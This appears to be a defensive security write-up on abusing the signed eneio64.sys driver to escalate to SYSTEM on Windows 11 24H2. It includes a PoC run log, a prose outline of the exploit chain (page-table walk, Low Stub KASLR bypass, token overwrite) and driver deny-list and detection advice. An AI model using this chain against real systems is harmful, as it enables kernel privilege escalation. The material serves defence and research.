[#00] EPROCESS: 0xffffa60f43493040 | PID: 4 | Name: System
[#01] EPROCESS: 0xffffa60f4355d080 | PID: 176 | Name: Secure System
[#02] EPROCESS: 0xffffa60f43579080 | PID: 216 | Name: Registry
[#03] EPROCESS: 0xffffa60f482640c0 | PID: 828 | Name: smss.exe
[#04] EPROCESS: 0xffffa60f4955e140 | PID: 988 | Name: csrss.exe
[#05] EPROCESS: 0xffffa60f497d6080 | PID: 1088 | Name: wininit.exe
[#06] EPROCESS: 0xffffa60f497a4080 | PID: 1096 | Name: csrss.exe
[#07] EPROCESS: 0xffffa60f49825080 | PID: 1160 | Name: winlogon.exe
[#08] EPROCESS: 0xffffa60f4984a140 | PID: 1240 | Name: services.exe
[#09] EPROCESS: 0xffffa60f49ca40c0 | PID: 1264 | Name: LsaIso.exe
[#10] EPROCESS: 0xffffa60f49ca7100 | PID: 1276 | Name: lsass.exe
[...]
[*] Found self (leak_proc_addr.exe) at EPROCESS: 0xffffa60f4de55080
[#203] EPROCESS: 0xffffa60f4de55080 | PID: 2900 | Name: leak_proc_addr
[#204] EPROCESS: 0xffffa60f4abf8080 | PID: 13260 | Name: cmd.exe
[...]
[*] Physical memory section unmapped successfully
Run log reproduced from procs/README.md in Xacone/Eneio64-Driver-Exploits, abridged in the middle where the original shows the full process list. Note entries #01 and #09: Secure System and LsaIso.exe are the VBS-backed processes. Their EPROCESS objects are enumerable from a medium-integrity process, which is a useful reminder that VBS protects specific secrets and specific execution contexts — not the normal-world kernel’s bookkeeping about them.
Why the Mitigations Did Not Apply
It is worth being precise about which controls this chain walks past and why, because the list is a fair summary of the limits of code-integrity-centred defence.
- HVCI enforces that kernel code pages are signed and that no page is simultaneously writable and executable. The chain introduces no code into the kernel. It loads a legitimately signed driver, requests a legitimate mapping, and modifies data on pages that were already writable. Every instruction the exploit executes runs in user mode.
- Kernel CFG, CET and shadow stacks defend indirect control-flow transfers. There are none: no ROP chain, no function pointer overwrite, no call gadget. This is a pure data-only attack.
- KASLR assumes the attacker has no oracle for kernel addresses. A physical-memory read is a better oracle than any leak API ever was, because it does not report addresses — it hands over the memory those addresses point at. The Low Stub scan converts randomisation into an eight-byte comparison.
- The 2020-era kernel-address leak restrictions closed
EnumDeviceDriversand friends to medium-integrity callers. That is exactly why the later variants stopped using them; the restriction removed a convenience, not a capability. - SMEP and SMAP prevent the kernel from executing or touching user pages unexpectedly. Here the kernel deliberately maps its own physical memory into user space at the driver’s request — the mapping is legitimate by construction.
- The Microsoft Vulnerable Driver Blocklist is the control that would have stopped this, and per the source authors’ testing in March and September 2025,
eneio64.syswas not on it. The blocklist is an allow-by-default mechanism, and 2014-vintage OEM utility drivers are a very large tail.
The pattern generalises well beyond this driver. Any driver that exposes \Device\PhysicalMemory, MMIO mapping, arbitrary MSR access or DMA to an unprivileged caller collapses the same set of boundaries at once, and the exploitation work is a fixed, reusable cost: one page-table walker, one Low Stub scanner, one offset table. That is precisely why all three of these repositories share so much structure.
Key Takeaways
- A driver that maps physical memory to an unprivileged caller is not one vulnerability — it is a universal kernel read/write primitive that renders KASLR, HVCI, CFG and CET simultaneously irrelevant.
eneio64.sysis 18 KB compiled in 2014 and signed by ASUSTeK on a certificate that expired in 2015. Authenticode timestamping keeps it loadable, and it exposes six IOCTLs — physical memory mapping, port I/O and MSR read/write — every one of themFILE_ANY_ACCESS.- The hard part of the exploit is not the bug, it is the plumbing: reimplementing the x86-64 four-level page walk in user mode so that kernel virtual addresses mean something in a physical-memory view.
- The Windows Low Stub in the first megabyte of physical memory carries both CR3 and a live pointer into
ntoskrnl. One eight-byte comparison against a known RVA defeats kernel ASLR without any leak API. - Resolving
PsActiveProcessHeadby decoding the RIP-relativeleainstructions inside the exportedKeCapturePersistentThreadStateremoves the last hardcoded offset. Structure-offset churn between Windows builds is not a mitigation against an exploit built this way. - The payload is a single masked eight-byte write to
_EPROCESS.Token. It bypassesObReferenceObject, leaving a reference-count imbalance and a process whose token does not match its creator — both of which are detectable. - Between the two repositories, the same chain is implemented three ways with very different portability. The version that resolves everything from the export table is the one defenders should assume they are facing.
Defensive Recommendations
- Do not rely on the Microsoft blocklist alone. Deploy a WDAC policy that allows driver loads by explicit publisher and file hash rather than blocking known-bad.
eneio64.sysis a concrete demonstration that the recommended blocklist lags real-world abuse by years. Enable the Microsoft Vulnerable Driver Blocklist as a floor, then add your own deny rules for the WinIo family —eneio64.sys,ene.sys,GLCKIo-family devices,WinIo.sys,WinRing0.sysand their vendor rebadges. - Alert on the creation of a handle to known BYOVD device objects.
\Device\GLCKIo,\Device\PhysicalMemoryand equivalents have no legitimate consumer on a managed endpoint. A file-create event naming these devices from a non-vendor process is high-signal and cheap to collect. - Treat service creation for an unsigned-by-you kernel driver as an incident, not a finding. Loading the driver requires administrative rights, so this chain is an integrity-level escalation from admin to kernel/SYSTEM in practice. Monitor
ntoskrnlimage-load events (Sysmon Event ID 6) and correlate against your approved driver inventory. - Hunt for token/creator mismatches. Compare each running process’s token SID, integrity level and logon session against its parent’s and against the token it was created with. A process created by an interactive user that is running with the System logon session and no corresponding impersonation API call is the reliable end-state signature of this technique, independent of which driver was used.
- Watch for the memory-access shape, not the API. A medium-integrity process holding a multi-gigabyte
PAGE_READWRITE | PAGE_NOCACHEsection view, then reading the first megabyte of it sequentially, is behaviourally distinctive. The retry and self-restart loops in these PoCs amplify the signal further. - Enable HVCI and VBS, and be clear about what they buy you. They raise the cost of kernel code execution substantially and are worth deploying — but as this chain demonstrates, they do not address data-only attacks. Do not treat HVCI as coverage for driver-supplied physical memory access.
- Constrain who can load drivers at all. Remove local administrator rights where possible, and where they must exist, gate
SeLoadDriverPrivilegeand service-creation via privileged access management, since driver load is the sole prerequisite for the entire chain. - Inventory OEM utility software. RGB lighting, fan control, overclocking and diagnostics packages are the primary distribution channel for WinIo-derived drivers. Every one of them on a corporate image is a latent instance of this capability.
Conclusion
The interesting question raised by these three repositories is not how a 2014 driver still escalates privileges on Windows 11 24H2 — the answer to that is simply that the blocklist has not caught up. It is how completely a physical-memory primitive dissolves the modern kernel-hardening stack. HVCI, CFG, CET, KASLR and the leak restrictions were each designed against a different step of the classic exploitation pipeline, and a driver that maps RAM into user space skips the entire pipeline: no corruption, no control-flow hijack, no leak, no injected code. What remains is a page-table walker, a signature scan and an eight-byte store. Those components are portable, well understood, and now published in three independent implementations. The defensive centre of gravity has to shift accordingly — toward controlling which drivers load in the first place, and toward detecting the state a data-only attack leaves behind rather than the code it never wrote.
Original text: Eneio64-Driver-Exploits and the write-ups “Exploiting eneio64.sys Kernel Driver on Windows 11 by Turning Physical Memory R/W into Virtual Memory R/W” and “Circumventing Leak Restrictions and Breaking KASLR on Windows 11 24H2 using an HVCI-compatible Driver with Physical Memory Access” by Yazid (@Xacone); Windows-11-24h2-Kernel-Exploit by Enes Şakir Çolak (@enessakircolak), MIT License. CVE-2020-12446 was discovered by Hashim Jawad (@ihack4falafel), ACTIVE Labs advisory ACTIVE-2020-003. 24H2 structure offsets via the Vergilius Project; driver entry at LOLDrivers.
For educational and defensive research purposes. The techniques described are documented here so that defenders can recognise and mitigate them.


